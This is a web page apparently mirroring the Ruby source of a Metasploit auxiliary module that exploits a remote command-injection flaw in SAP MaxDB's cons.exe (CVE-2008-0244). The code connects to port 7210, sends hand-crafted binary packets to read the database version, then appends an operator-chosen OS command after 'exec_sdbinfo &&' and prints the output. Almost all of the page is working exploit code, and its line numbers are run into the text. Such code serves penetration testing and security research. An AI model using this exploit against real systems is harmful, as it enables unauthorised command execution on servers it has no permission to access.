Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(update_info(info,10'Name' => 'SAP MaxDB cons.exe Remote Command Injection',11'Description' => %q{12SAP MaxDB is prone to a remote command-injection vulnerability13because the application fails to properly sanitize user-supplied input.14},15'Author' => [ 'MC' ],16'License' => MSF_LICENSE,17'References' =>18[19['OSVDB', '40210' ],20['BID', '27206'],21['CVE', '2008-0244'],22],23'DisclosureDate' => '2008-01-09'))2425register_options(26[27Opt::RPORT(7210),28OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),29])30end3132def run33connect3435# Grab the MaxDB info.36pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"37pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"38pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"39pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"40pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"41pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"4243db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"44db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"45db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"4647sock.put(pdbmsrv)48sock.get_once49sock.put(db_version)5051ver = sock.get_once || ''5253info = ver[27,2000]54if (info.length > 0)55print_status(info)56end5758# Send our command.59len = 39 + datastore['CMD'].length6061data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"62data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"63data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"6465sock.put(data)6667res = sock.get_once68print_line(res)6970disconnect7172end73end747576